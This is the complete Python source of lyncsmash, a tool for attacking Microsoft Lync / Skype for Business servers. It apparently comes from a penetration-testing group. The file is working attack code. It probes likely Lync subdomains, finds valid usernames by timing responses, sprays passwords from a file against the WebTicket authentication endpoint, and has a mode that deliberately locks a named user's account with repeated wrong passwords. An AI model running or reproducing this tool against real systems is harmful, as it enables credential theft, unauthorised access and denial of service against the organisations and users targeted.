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lyncsmash.py
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#!/usr/bin/env python
# lyncsmash: a tool to enumerate and attack skype for business/microsoft lync installations
# https://github.com/nyxgeek/lyncsmash
#
# 2017 @nyxgeek - TrustedSec
# Special thanks to @coldfusion39 who did a big re-write of my shoddy python
# also thanks to @shellfail and @spoonman1091 for updates and fixes
import argparse
import base64
import os
import string
import random
import requests
import datetime
import time
try:
requests.packages.urllib3.disable_warnings()
except:
pass
outputfile="lyncsmash.log"
validCred = False
isDisabled = False
timeout = 1.00
apSleep=0
def main():
parser = argparse.ArgumentParser(description='Attack Microsoft Lync installations')
subparsers = parser.add_subparsers(dest='attack', help='Attack to perform on Lync')
discover_parser = subparsers.add_parser('discover', help='Discover Lync subdomains')
discover_parser.add_argument('-H', dest='host', help='Target IP address or host', required=True)
enum_parser = subparsers.add_parser('enum', help='Enumerate valid Lync usernames')
enum_parser.add_argument('-H', dest='host', help='Target IP address or host', required=True)
enum_parser.add_argument('-U', dest='usernames', help='Username file', required=True)
enum_parser.add_argument('-r', action='store_true', dest='randomize', help='Randomize usernames from input file', required=False)
enum_parser.add_argument('-d', dest='domain', help='Internal domain name', required=True)
enum_parser.add_argument('-p', dest='passwd', help='Password to attempt', required=False)
enum_parser.add_argument('-P', dest='passwdfile', help='Password file to read from', required=False)
enum_parser.add_argument('-o', dest='outfile', help='Output file', required=False)
enum_parser.add_argument('-t', dest='time_avg', help='Known average request time', required=False, type=float)
enum_parser.add_argument('-s', dest='sleep', help='Sleep timer to wait between reqeusts in seconds, will only work with enum', required=False, type=float)
lock_parser = subparsers.add_parser('lock', help='Lock Lync user account')
lock_parser.add_argument('-H', dest='host', help='Target IP address or host', required=True)
lock_parser.add_argument('-u', dest='user', help='Lync user', required=True)
lock_parser.add_argument('-d', dest='domain', help='Internal domain name', required=True)
args = parser.parse_args()
# Discover Lync subdomains
if args.attack == 'discover':
subdomain_count, findings = discover_lync(args.host)
print_good("Found {0} Lync subdomains - {1} Lync".format(subdomain_count, findings))
# Enumerate valid Lync usernames
elif args.attack == 'enum':
# check our arguments first
if ((args.passwd, args.passwdfile) == (None, None)):
print_error('You need to specify either a password or a password file to use')
exit()
if all((args.passwd, args.passwdfile)):
print_error('You cant have both a passwd file and passwd specified')
exit()
if (( args.outfile ) == ( None )):
print_error("You need to define an output file now. Entries will be appended to 'lyncsmash.log' instead.")
else:
global outputfile
outputfile = args.outfile
if args.sleep is not None:
apSleep=args.sleep
#okay, if we have a username file, proceed
if os.path.isfile(args.usernames):
# get a baseline timeout - this is response time for invalid usernames
global timeout
if args.time_avg is not None:
timeout = args.time_avg
else:
timeout = baseline_timeout(args.host, args.domain)
if timeout:
print_status("Average timeout is: {0}".format(timeout))
if (args.passwd != None):
timing_attack(args.host.rstrip(), args.usernames.rstrip(), args.passwd.rstrip(), args.domain.rstrip(), args.randomize)
if (args.passwdfile != None):
with open(args.passwdfile) as pass_file:
for password in pass_file:
timing_attack(args.host.rstrip(), args.usernames.rstrip(), password.rstrip(), args.domain.rstrip(), args.randomize)
pass_file.close()
else:
print_error('Could not find username file')
# Lock user's Lync account
elif args.attack == 'lock':
print_status("Locking Lync account for {0}".format(args.user))
for lock in range(1, 6):
try:
print_status("Sending request {0}".format(lock))
response_time = send_xml(args.host, args.domain, args.user,"n0t_y0ur_p4ss")
except Exception as error:
continue
print_good('Lync account should now be locked')
# Discover Lync subdomains
def discover_lync(host):
indicator_count = 0
subdomains = [
''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(20)),
'dialin',
'meet',
'lyncdiscover',
'scheduler',
'access',
'lync',
'lyncext',
'lyncaccess01',
'lyncaccess',
'lync10',
'lyncweb',
'sip',
'lyncdiscoverinternal'
]
for position in range(0, len(subdomains)):
lync_url = "https://{0}.{1}".format(subdomains[position], host)
print_status("Trying {0}.{1}".format(subdomains[position], host))
try:
response = requests.get(lync_url, timeout=3, verify=False)
if response.status_code == 200 or response.status_code == 403:
if position == 0:
print_warn('Found Wildcard domain - Time to GTFO')
break
else:
print_good("Found Lync domain {0}.{1}".format(subdomains[position], host))
indicator_count += 1
except Exception as error:
continue
# Print Lync results
switch = {
0: 'No',
1: 'Maybe',
2: 'Probably',
3: 'Almost definitely'
}
return indicator_count, switch.get(indicator_count, 'Definitely')
def timing_attack(host,userfilepath,password,domain, randomize):
global outputfile
with open((os.path.abspath(outputfile)),"a") as f:
currenttime=datetime.datetime.now()
f.write("Started lyncsmash at {0}\n".format(currenttime))
with open(os.path.abspath(userfilepath)) as user_file:
user_list = [line.strip() for line in user_file]
if randomize:
random.shuffle(user_list)
for user in user_list:
try:
time.sleep(apSleep)
response_time = send_xml(host.rstrip(), domain.rstrip(), user.rstrip(), password.rstrip())
candidatevalue=float(float(response_time)/timeout)
if candidatevalue <= float("0.4"):
if isDisabled:
status="VALID USER (ACCOUNT DISABLED): {0}, Password: {1}, Time: {2}".format(user.rstrip(),password.rstrip(),response_time)
print_error(status)
f.write("[*] {0}\n".format(status))
elif validCred:
status="VALID CREDENTIALS (VALID USER): {0}, Password: {1}, Time: {2}".format(user.rstrip(), password.rstrip(),response_time)
print_good(status)
f.write("[!] {0}\n".format(status))
else:
status="VALID USER (INVALID PASSWORD): {0}, Password: {1}, Time: {2}".format(user.rstrip(),password.rstrip(),response_time)
print_good(status)
f.write("[+] {}\n".format(status))
else:
status="INVALID USER: {0}, Password: {1}, Time: {2}".format(user.rstrip(),password.rstrip(),response_time)
print_error(status)
f.write("[-] {0}\n".format(status))
except Exception as e:
pass
endtime=datetime.datetime.now()
elapsed_time=endtime - currenttime
f.write("Finished lyncsmash at {0}\n".format(currenttime))
f.write("Elapsed time {0}\n".format(elapsed_time))
user_file.close()
# Determine the baseline timeout for invalid username
def baseline_timeout(host, domain):
print_status("Performing baseline tests ... this will take a while")
response_times = []
for loop in range(0, 3):
try:
random_user = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10))
response_time = send_xml(host, domain, random_user, "n0t_y0ur_p4ss")
if response_time:
print_status("Response time for test #{0} is {1}".format((loop+1),response_time))
response_times.append(float(response_time))
else:
break
except Exception as error:
raise Exception(error)
# Get average timeout for invalid username
if len(response_times) > 0:
average_timeout = sum(response_times) / len(response_times)
else:
average_timeout = None
return average_timeout
# Send Lync request
def send_xml(host, domain, user, passwd):
global validCred
global isDisabled
domain_user = "{0}\\{1}".format(domain, user)
encoded_username = base64.b64encode(domain_user.encode('ascii'))
encoded_password = base64.b64encode(passwd.encode('ascii'))
xml_data = "<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\"><s:Header><Security s:mustUnderstand=\"1\" xmlns:u=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd\" xmlns=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd\"><UsernameToken><Username>{0}</Username><Password Type=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordText\">{1}</Password></UsernameToken></Security></s:Header><s:Body><RequestSecurityToken xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" Context=\"ec86f904-154f-0597-3dee-59eb1b51e731\" xmlns=\"http://docs.oasis-open.org/ws-sx/ws-trust/200512\"><TokenType>urn:component:Microsoft.Rtc.WebAuthentication.2010:user-cwt-1</TokenType><RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</RequestType><AppliesTo xmlns=\"http://schemas.xmlsoap.org/ws/2004/09/policy\"><EndpointReference xmlns=\"http://www.w3.org/2005/08/addressing\"><Address>https://2013-lync-fe.contoso.com/WebTicket/WebTicketService.svc/Auth</Address></EndpointReference></AppliesTo><Lifetime><Created xmlns=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd\">2016-06-07T02:23:36Z</Created><Expires xmlns=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd\">2016-06-07T02:38:36Z</Expires></Lifetime><KeyType>http://docs.oasis-open.org/ws-sx/ws-trust/200512/SymmetricKey</KeyType></RequestSecurityToken></s:Body></s:Envelope>".format(encoded_username,encoded_password)
headers = {'Content-Type': 'text/xml; charset=utf-8','User-Agent': 'UCCAPI/16.0.13328.20130 OC/16.0.13426.20234'}
try:
#print xml_data
lync_url = "https://{0}/WebTicket/WebTicketService.svc/Auth".format(host)
webholder = requests.post(lync_url, headers=headers, data=xml_data, verify=False)
if 'No valid' in webholder.text:
validCred = False
isDisabled = False
elif 'account is disabled' in webholder.text:
validCred = False
isDisabled = True
#print_disabled(domain_user.rstrip())
else:
isDisabled = False
# this will eventually be switchable with verbose or debug flag
#print_status(webholder.text)
validCred = True
response_time = str(webholder.elapsed.total_seconds())
status_code = webholder.status_code
#print "Received status code " + str(status_code)
if int(status_code) == 200:
print_success(domain_user.rstrip(),passwd.rstrip())
elif int(status_code) == 404:
print_error('GETTING 404s OVER HERE!')
return None
elif int(status_code) == 403:
print_error('RECEIVING 403 FORBIDDEN - WRONG SERVER OR IT IS MS-HOSTED')
return None
elif int(status_code) == 401:
print_error('RECEIVING 401 AUTH PROMPT, SOMETHING IS UP, TEST WebTicket URL MANUALLY')
return None
except Exception as error:
return None
return response_time
def print_success(username,password):
print("\033[1m\033[32m[+]\033[0m RETURNED STATUS 200: VALID USER {0} with PASS {1}".format(username,password))
def print_error(msg):
print("\033[1m\033[31m[-]\033[0m {0}".format(msg))
def print_status(msg):
print("\033[1m\033[34m[*]\033[0m {0}".format(msg))
def print_good(msg):
print("\033[1m\033[32m[+]\033[0m {0}".format(msg))
def print_warn(msg):
print("\033[1m\033[33m[!]\033[0m {0}".format(msg))
if __name__ == '__main__':
main()